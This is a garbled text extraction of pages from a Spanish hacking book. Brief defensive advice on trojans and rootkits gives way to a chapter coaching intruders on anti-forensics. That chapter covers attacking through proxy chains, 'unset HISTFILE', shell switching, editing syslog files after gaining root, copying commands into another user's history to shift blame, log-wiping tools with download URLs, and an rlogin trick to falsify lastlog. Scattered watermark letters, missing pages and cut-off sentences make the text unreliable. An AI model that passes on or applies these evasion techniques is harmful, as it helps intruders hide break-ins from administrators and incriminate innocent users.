i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
279
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Defensa y contraataque
Defenderse de las amenazas descritas en este captulo no es muy fcil. Existen troyanos
que, siendo fcilmente detectables, son muy difciles o imposibles de eliminar. En nuestra
experiencia, hubo al menos dos casos (uno en Windows 98 SE y otro en Windows 2000)
en el que ni la recuperacin de la imagen original de la instalacin, distribuida en CD que
vena con el ordenador, elimino el troyano. Era necesario volver a hacer las particiones
(eliminacin y creacin) y formatear el disco duro, y utilizar una herramienta de borrado
total para eliminar todo rastro de software malicioso.
En algunos casos, es posible monitorizar las conexiones, y una vez detectada la
presencia del invasor, rastrearlas hasta llegar a los culpables. No dude en contar con la
polica y un buen equipo de abogados en el caso de que alguna accin de un hacker
malicioso pueda ser encuadrada como delito.
- Backdoors, virus y troyanos
A pesar de que todos son programas con aplicaciones diferentes, la profilaxis y la solucin
para ellos es, bsicamente, la misma, ya que las formas de infeccin y los mtodos para
la deteccin y eliminacin son similares.
Antes que nada (o, como dira un compaero de software libre, en "cersimo" lugar),
edquese y eduque a sus empleados o miembros de la familia sobre las prcticas
seguras para el uso de los recursos informticos y navegacin por Internet. Esto incluye
las famosas frases que las madres nos han dicho toda la vida (y dicen hasta la muerte):
no aceptes dulces de extraos y no aceptes dulces extraos de amistades. Cuidado con
las drogas (es decir, cosas que sabemos que son peligrosas) y mucho cuidado al andar
en lugares apartados, con poca luz o sospechosos. Son sabios consejos tambin para
Internet y para las redes corporativas. S, mam tena razn ...
Es obvio que el usuario medio no tiene manera de saber si un programa es malicioso o ha
sido manipulado, o si ese sitio web contiene cdigo malicioso, o si el documento interno
de la empresa (y por lo tanto, oficialmente autorizado) en formato .DOC contiene un virus
de macro ... Pero un poco de cuidado y alguna paranoia, puede librar al perro viejo de
algunas trampas.
En cuanto a los cuidados puramente tecnolgicos que pueden ser implementados, en
primer lugar tenga siempre firewalls y antivirus locales (basados en software)
actualizados. S, ya se, anteriormente dije que, si el atacante (o el virus) era muy bueno,
estas herramientas no sirven para nada. De no ser as, seremos mucho ms "visitados"
por nios tratando de jugar, a que son bandidos digitales con algn profesionalismo.
Por lo tanto, firewalls locales como Zone Alarm, BlackIce o el Tiny Firewall ayudan mucho
a mantener las legiones de Kiddies lejos de sus computadoras. Al mismo tiempo, un buen
firewall de rack (como Cisco PIX) o implementado con un Unix (antiguos 386 con Linux o
OpenBSD proporcionan excelentes firewalls), con reglas de filtrado, y preferiblemente,
con conexiones a travs de un proxy, tambin ayuda a detener a los lammers. Sugerimos
poner en prctica, ya sea en casa o en una red corporativa, los dos tipos de cortafuegos:
local (software) y en punto de conexin (por hardware).
281
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Del mismo modo, los antivirus deben utilizarse para bloquear virus conocidos. Aunque los
antivirus no detectan una pequea parte de los virus conocidos y prcticamente ninguno
de los desconocidos, su uso es obligatorio. No por estar griposo y no haber remedio para
eso se dejan de tomar aspirinas para el dolor de cabeza.
Otro punto importante a tener en cuenta es: saber qu software est instalado en su
ordenador. Es comn, en casa, descargar e instalar cualquier tontera genial que
encontramos en Internet o en revistas que vienen con CDs. Esta prctica se debe evitar
en ordenadores personales y estar terminantemente prohibida en las computadoras de la
empresa. Conociendo el software instalado en su ordenador, es fcil (en algunos casos no en otros ...) darse cuenta de algo extrao ejecutndose en la mquina.
Un tercer elemento obligatorio de seguridad es la adopcin de polticas de usuario y de
administracin.
Las estaciones de trabajo en las empresas deben emplear software y sistemas operativos
que permitan un control total por parte de los administradores, y restringir al mximo lo
que el usuario medio puede hacer. Esto incluye bloquear la instalacin de programas y el
acceso a zonas no autorizadas del equipo (como el directorio C\WINDOWS o el /bin en
mquinas Unix). Hay empresas que utilizan sistemas Macintosh con Mac OS X o
Windows NT/2k/XP, o incluso algunos Unix para PCs como FreeBSD o Linux. La opcin
es totalmente correcta, porque estos sistemas permiten montar polticas de derechos en
el ordenador y evitar que los usuarios (o algn virus o troyano) instalen software no
autorizado en la mquina. Pero no sirve de nada poner un Windows XP Professional
como estacin de trabajo y no configurarlo para la seguridad, dejndolo con las opciones
por defecto. Se debera ajustar y quitar al usuario comn todos los permisos de acceso
que sean potencialmente peligrosas para la estacin y la red.
Incluso en casa, los usuarios domsticos de Windows NT/2k/XP y Mac OS deben crear
cuentas de usuario sin muchos permisos y usar efectivamente estas cuentas en el da a
da! Deje la cuenta de administrador slo para la administracin e instalacin de
programas. Lo mismo vale para los ya no tan pocos usuarios domsticos de Linux. Linux
(y Unix) ya vienen "de fbrica" con este esquema de usuarios y permisos. Pero (siempre
hay un pero) los usuarios siempre se "salen con la suya" para romper este esquema y
comprometer la seguridad. Cosas como abusar de el uso de sudo u operar como
usuario root (el mayor sacrilegio de todos) son muy comunes.
Si fue infectado, no use cualquier herramienta de desinfeccin que no sea de
desarrolladores serios. Descargar una herramienta de un lugar sospechoso que promete
eliminar de tu equipo el Sub7 es una locura. l puede tanto hacer lo que promete, cmo
quitar el Sub7 e instalar otro backdoor, o "parchear" el Sub7 para que tu antivirus no lo
detecte - pero el todava est ah.
En cuanto a los rootkits, una buena manera de evitarlos es no permitir que un usuario
tenga poderes suficientes para llegar a las partes crticas del sistema. Un rootkit precisa
ser instalado. Incluso si la instalacin es automtica, siempre se ejecutar en el contexto
del usuario. Dejar a los usuarios con niveles mnimos de acceso puede dificultar la
instalacin y la accin de rootkits. Adems, la cuenta Administrador o root debe ser
vigilada y mantenida bajo siete llaves. Contraseas difciles de romper o adivinar son
282
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
285
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ataque, defensa y
contraataque
Evasin
Capitulo - 15
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
No importa si el objetivo del ataque sea causar un revuelo u obtener secretamente algn
beneficio: cualquier atacante que se precie no desea ser rastreado, y mucho menos
atrapado. Deben observarse algunos detalles para que, despus de una invasin del tipo
"obra de arte", sea imposible o muy difcil determinar la culpabilidad.
En el captulo anterior, cuando hablamos de rootkits, vimos que ellos pueden ocultar una
multitud de detalles y, as, ocultar la presencia y la accin del hacker en el ordenador
atacado. Sin embargo, ms vale, prevenir que curar y, con o sin rootkits, es muy
conveniente que el atacante tome medidas para borrar todas las huellas y los rastros de
su paso por el sistema. En varias plataformas, hay herramientas que hacen esto
automticamente, pero entender los mecanismos de registro es muy importante para
comprobar la eficacia de esas herramientas o hacerlo todo "a mano", a falta de ellas.
Otro detalle al que el atacante debe estar atento es el camuflaje de los canales de
comunicacin entre l y el equipo afectado. Como vimos en el captulo anterior, hay
maneras de hacer invisible el flujo de datos de un backdoor o caballo de Troya ,
simplemente ocultando los bytes transmitidos/recibidos en conexiones vlidas. En este
captulo, vamos a ver ms maneras de hacer esas conexiones invisibles.
Antes de entrar en evasin, recuerde que es importante el disfraz antes del ataque. Si
quieren invadir a alguien, recuerde que antes, debe utilizar algn tipo de spoofing, como,
por ejemplo, cadenas de proxies pblicos o mquinas que ejecutan redirectores Netcat.
Usar la propia IP para invadir a alguien es una torpeza.
Lo bsico: borrar los registros
Incluso Kiddies muy malos saben que tienen que borrar sus huellas de los registros del
sistema. Lo primero que tenemos que saber es, dnde estn estos registros?. Una vez
que tengas acceso a ellos, siempre hay que tener en cuenta que no se pueden borrar
todos, de lo contrario levantars muchas sospechas en el sistema. Borra solamente lo que
ha sido causado por tus andanzas en el terreno ajeno. Y ten cuidado: algunos sistemas
tienen IDS, otros inspectores de integridad de archivos, y algunos, tambin, tienen
registros en localizaciones no estndares, dejando registros falsos en la ubicacin
predeterminada para engaar a los invasores de medio pelo.
Recuerde: verifique lnea por lnea, un archivo cada vez, todos los archivos de registro.
Busque copias de ellos en localizaciones del sistema no obvias y, si nota que se
encuentra en un honeypot, huya! (Como vimos en captulos anteriores, los honeypots son sistemas
dejados intencionadamente como "cebos" para que los aspirantes a piratas informticos los ataquen.
Normalmente son sistemas poco protegidos, con fallos intencionados y sistemas silenciosos de deteccin
de intrusos. Muchos IDSs incluso, desvan al intruso silenciosamente hacia los honeypots sin que ellos lo
sepan. Adems de ser marcado, cuando la presa es aparentemente fcil, el atacante se vuelve
descuidado.)
287
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
estndar ... Tambin hay comandos que, a pesar de tener el mismo nombre en todas las
variedades, fabricantes y versiones Unix, tienen una sintaxis diferente - "ps", "route", e
incluso "ls" son ejemplos clsicos. El sistema de registro de eventos, por tanto, no es
inmune a estas diferencias.
Es imposible enumerar en un libro como ste todos los tipos y las peculiaridades de los
registros en las distintas versiones de Unix. Vamos a utilizar el sistema Linux como
modelo para ejemplificar una sesin de "ciruga" en los registros. Si algn script kiddie
estuviera leyendo este captulo, probablemente saltara este prrafo y se tomar la
descripcin que sigue como una receta universal para borrar sus pistas. Nuestra
intencin, sin embargo, es otra: mostrar lo que tiene que mirar, no dnde, ni cmo ...
Lo primero que debe verificar es el histrico de comandos de usuario. No es exactamente
un registro, en vez de eso, es una lista de comandos ya emitidos que quedan a
disposicin del usuario para que no tenga que escribirlos de nuevo. Esto evita el trabajo
repetitivo para el operador y, como efecto secundario, da al administrador una manera de
saber lo que ests haciendo ...
No todas las shells implementan un histrico de comandos, y cada una guarda el histrico
en un archivo y en una ubicacin diferente. A modo de ejemplo, un sistema Linux
generalmente usa la versin GNU de la Shell Bourne, o Bash. Este shell guarda el
histrico de todo lo que fue tecleado (incluso sin xito) en /home/usuario/.bash_history. Se
trata de un archivo de texto plano, por lo que, bastara editarlo para ocultar sus huellas.
Un planteamiento ms eficaz, sin embargo, sera simplemente desactivar la variable de
sistema HISTFILE, que indica dnde deben ser almacenados los comandos. Para ello,
basta con emitir unset HISTFILE. Listo! A partir de ah, no se grabar nada (ni el mismo
unset!) Ese debera ser el primer comando a utilizar, pero la mayora de los "invasores"
se olvidan ... o no lo saben ...
En Unix que no utilicen Bash, otra forma es, simplemente ... cambiar de shell! Es posible
(y muy probable) que el shell por defecto tenga histrico, y los dems no. As que, si
consigues una cuenta y el shell por defecto es el shell Bourne (prompt $ ) simplemente
cmbielo al C Shell tecleando csh. Si el el shell por defecto es el C shell (prompt %),
cmbielo al shell Bourne escribiendo sh. La razn de usar sh y csh es que cualquiera
de los otros (bash, zsh, ksh) tienen rutinas de histrico de comandos completamente
implementadas.
Para ayudar a desviar las sospechas, un atacante ms osado podra desviar los
comandos (o copiarlos) de su propio histrico al de el otro usuario. Incluso si el sistema
estuviese bajo sospecha, durante un tiempo pagaran justos por pecadores.
Despus de engaar al histrico del shell, tenemos que borrar las huellas en los registros
del sistema. En la mayora de los Unix, un daemon se encarga de registrar los registros
del sistema es el syslogd. En cualquier Unix, invadido, es interesante investigar en los
archivos de configuracin del daemon (que, en Linux, est en/etc/syslog.conf - pero vara
en otros sistemas Unix) y ver cuales son los nombres de los archivos de registro de
eventos y donde son grabados.
Como usuario comn (no root) en un sistema Linux Conectiva 9, el archivo
/etc/syslog.conf muestra:
288
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
$ cat /etc/syslog.conf
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.*
/dev/console
/var/log/secure
/var/log/maillog
/var/log/boot.log
Obviamente, cada uno de los archivos indicados en syslogd tiene una funcin diferente.
Todas las lneas marcadas con # se consideran comentarios y se ignoran. El campo de
la izquierda define un conjunto de reglas que se aplican a los mensajes de registro. Los
campos de la derecha indican en qu archivo de registro deben ser gravados. Observe
que, en el syslog.conf anterior, el filtro kern .. apunta a /dev/console - es decir, los
mensajes del kernel se haran eco en la terminal, si la lnea estuviese sin comentarios.
Como se puede observar, los dispositivos tambin se pueden usar para registrar, adems
de los archivos normales.
Por lo que podemos ver del syslog.conf, tenemos, en /var/log,
- /var/log/messages: registra todos los mensajes de nivel informativo del sistema.
- /var/log/secure: registra el acceso a archivos y a procesos restringidos.
- /var/log/maillog: registra mensajes de e-mail enviados y recibidos.
- /var/log/spooler: registra errores en el intercambio de Mail, UUCP y Noticias.
- /var/logiboot.log: registra eventos y errores durante el arranque.
De nuevo recuerde: estos lugares son para Conectiva Linux 9! Busque en el propio Unix
invadido las ubicaciones reales de los archivos. Es posible que el nmero y sus funciones
sea diferente: puede haber un slo archivo con todos los registros, o pueden ser, por
ejemplo, un archivo separado para UUCP y otro para el correo electrnico. Los script
kiddies suelen utilizar herramientas y scripts de eliminacin de registros entre un sistema
y otro, y en lugar de esconderse, crean ms mensajes de error en los registros y alertan al
administrador antes de lo previsto. Mire antes de actuar y haga lo correcto.
Una vez descubiertos cuales son los archivos responsables del registro de eventos de
Unix, bajo ataque, podemos proceder a su edicin. Aunque hay herramientas para aplicar
el cifrado fuerte en los archivos de registro, la gran mayora de los sistemas todava usan
289
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
el bueno y viejo texto plano para gravarlos. Esto significa que el hacker puede usar su
editor favorito (emacs, vi, joe, pico ...) para editarlo manualmente . Los autores
recomiendan siempre editar manualmente los archivos, evitando que suciedad, errores o
inexactitudes en los scripts, que hacen esto automticamente, puedan echar todo a
perder.
Tambin en CL9, vamos al directorio /var/log para ver lo que hay:
$ ls
XFree86.o.log
XFree86.o.log.
oldapache
boot.log
boot.log.1
boot.log.2
boot.log.3
boot.log.4
cron
cron.1
cron.2
cron.3
cron.4
cups
dmesg
htmlaccess.log
iptraf
kdm.log
lastlog
maillog
maillog.1
maillog.2
maillog.3
maillog.4
messages
messages.1
messages.2
messages.3
messages.4
mysql.log
mysql.log.1.gz
nagios
netconf.log
netconf.log.1
netconf log.2
netconf.log. 3
samba
scrollkeeper.log
secure
secure.1
secure.2
secure.3
secure.4
spooler
spooler.1
spooler.2
spooler.3
spooler.4
uucp
vtund
wtmp
wtmp.1
Observe: adems de los archivo de syslog, el directorio /var/log contiene los registros de
otros programas y servidores que se ejecutan en la mquina, tales como Apache, Samba,
CUPS y XFree86. Conviene revisar los registros de todos ellos, ya que alguna accin tuya
(intencionadamente o no) puede haber dejado marcas en cualquiera de ellos.
Ocupmonos de los primeros cinco archivos de syslogd. Incluso como usuario normal,
abra (con su editor de texto favorito) el archivo boot.log. En l se encuentran los servicios
en ejecucin, los mdulos del kernel cargado y los servidores que son iniciados y
finalizados por inetd. Observe que hay otros, llamados boot.log.1, boot.log.2, etc, que
guardan registros antiguos. Ahora trata de escribir algo y guarda el archivo (siempre como
usuario normal). Permiso denegado! Los otros archivos - maillog, messages, secure e
spooler - ni siquiera dan permiso de lectura para los usuarios normales.
Inicie una sesin como root (o en un sistema hackeado, obtn acceso a root a travs
de buffer overflow u otra tcnica) y abra los archivos. Compruebe la sintaxis de los
mismos. Maillog registra la actividad de SMTP, IMAP y POP locales (sendmail, postfix,
qmail, imapd, pop3d ...). Messages es muy importante: registra los mensajes entre
procesos y entre stos y el Kernel. Secure, por otro lado, registra mensajes de acceso
privilegiado a archivos y procesos. A su vez, Spooler guarda los mensajes de los
programas que utilizan los servicios de cola (mail, uucp, noticias, etc.) Aunque usted no se
haya metido con el servidor SMTP o POP, es prudente verificar los archivos
/var/log/maillog y /var/log/spool y asegurarse que, involuntariamente, usted no dispar
ningn proceso que haya cambiado el registro. Lo mismo es vlido para cualquier proceso
o archivo, por lo tanto es esencial un cuidado general en el registro.
Volviendo a /etc/syslogd.conf, la lnea
290
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Feb 16 14:42
Feb 16 16:07
Sin embargo, puedo decirle al comando who en que archivo buscar. Si yo emito el
comando who /var/run/utmp, el resultado es el mismo: who sin argumentos siempre lee
el fichero utmp. Pero si le pido a who consultar en /var/log/wtmp?
henrique
henrique
james
root
henrique
henrique
root
root
root
pts/3
pts/3
pts/0
tty1
tty2
tty3
tty4
pts/0
pts/1
Jan
Jan
Fev
Fev
Fev
Fev
Fev
Fev
Fev
9
9
2
5
5
5
5
5
5
05: 16 (192.168.1.229)
05: 14 (192.168.1.229)
11: 50
22:16
22:17
22:23
22:40
22:49
22:52
El archivo es muy grande, se muestran slo unas pocas lneas. Nota: El 9 de enero, el
usuario Henrique hizo dos conexiones a este equipo (que, por curiosidad, fue la
192.168.1.11) a partir de otra, la 192.168.1.229. El 2 de febrero, el usuario James se
conecto localmente en la mquina, y el da 5 el usuario Henrique se registro como usuario
root varias veces.
El comando "last" hace un cruce de informacin entre los archivos /var/log/lastlog y
/var/log/wtmp y, muestra en la pantalla informacin detallada de los ltimos das sobre el
tiempo de conexin y desconexin de cada usuario, e incluso del reinicio de la mquina.
El comando "lastlog", por su parte, muestra cuando cada uno de los usuarios del sistema
se registraron por ltima vez. Un usuario deshabilitado que este conectado desde el da
anterior es un hecho alarmante.
Para el administrador del sistema, usar los comandos "last", "lastlog" y "who" para
comprobar el /var/log/wtmp es una medida tanto preventiva como correctiva. Por lo tanto,
es imprescindible para el cracker que quiera borrar sus huellas, eliminar todas las
291
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
referencias a l en estos archivos. As que nuestro intrpido intruso usa el pico (...) para
editar, por ejemplo, el /var/log/wtmp y tiene una desagradable sorpresa: el archivo no es
de texto plano, sino binario! Lo mismo sucede con /var/run/utmp y /var/log/lastlog.
Entonces, qu hacer? Desesperacin ...
Como hemos dicho anteriormente, hay herramientas automticas para limpiar el "utmp",
"wtmp" y "lastlog". Una (entre muchas) es "Hide" (www.hoobie.net/security/exploits
/hacking/hide.c). Este pequeo programa elimina las entradas que el usuario realiza en el
archivo "utmp". Es evidente que los sistemas modernos no hacen este disparate y dejan
el "utmp" accesible solamente al root, pero es una excelente prueba de concepto.
El cdigo fuente del programa, siendo pequeo, es fcil de entender. Obviamente, en este
punto el lector debe saber que tiene que compilar el pequeo programa para que
funcione. Dependiendo del sistema, pueden ser necesarios algunos cambios . En
Conectiva Linux 9, por ejemplo, simplemente reemplazar todas las funciones de "exit ()"
por "exit (0)" Notese que el candidato a hacker debe aprender a programar (o por lo
menos a "retornar") en C y C + +. Si no quieres aprender a programar bien, tira este libro:
tu no quieres elevar tu nivel tcnico, sino slo aprender las recetas de ataque sencillas.
Los hackers se reirn de ti, por eso.
En el mismo sitio encontramos una herramienta muy famosa, desarrollada por el hacker
Simple Nomad, llamada "Remove" (www.hoobie.net/security/exploits/hacking/remove.c).
Con ella, se pueden eliminar todos los usuarios de cualquiera de los tres archivos "utmp",
"wtmp" y "lastlog". Fue desarrollada para AIX, pero puede ser fcilmente compilada (como
est o con modificaciones simples) en cualquier distro de Unix, incluyendo Linux y
{Free,Open,Net} BSD. Adems de eliminar los registros relativos a cualquier usuario (y no
slo ejecutar la herramienta, como Hide), "Remove" permite cambiar el ltimo usuario que
inici sesin y el sitio de inicio de sesin (IP, si es remoto, tty o pst si es local).
Compile y pruebe los dos programas en la mquina de ensayos. Realice varios
experimentos, como aumentar y disminuir del nivel de permisos de sus "utmp", "wtmp" y
"lastlog" y ejecute las dos herramientas. Tenga en cuenta que, en un ataque real, el
atacante generalmente necesita un shell de root para ejecutar "Remove", pero no
necesita, de muchos privilegios para atacar el sistema. Despus de jugar con ellas, busca
otros tipos de herramientas. Nombres muy comunes son "Cloak", "Cloak2" (o Cloak-2)
"Zap" y "LogWEdit". Muchos rootkits tienen herramientas (integradas o no) para editar
estos archivos. Vase, por ejemplo, la documentacin del "knark" y de "Irk5". Pero
recuerde: nunca utilice una pieza redonda en el orificio cuadrado! Investigue sobre la
herramienta adecuada para el Unix que est siendo atacado.
Si ninguna de estas herramientas est disponible en el momento, algunos trucos pueden
ayudarlo a permanecer oculto por algn tiempo. Por ejemplo, cuando se accede al
sistema mediante una cuenta "hackeada", probablemente el acceso ser registrado en el
"lastlog" con la IP de conexin o el nombre de dominio correspondiente. Para eliminarlo
(al menos en el lastlog), una vez conectado con xito, ejecute el comando "rlogin" en la
misma cuenta. Listo! Ahora, la ltima conexin de esta cuenta habr sido local, y en el
"lastlog" aparecer "from localhost".
Falta engaar a la orden "who". Una registrados en el sistema (y despus de engaar al
292
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
293
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
296
www.FreeLibros.me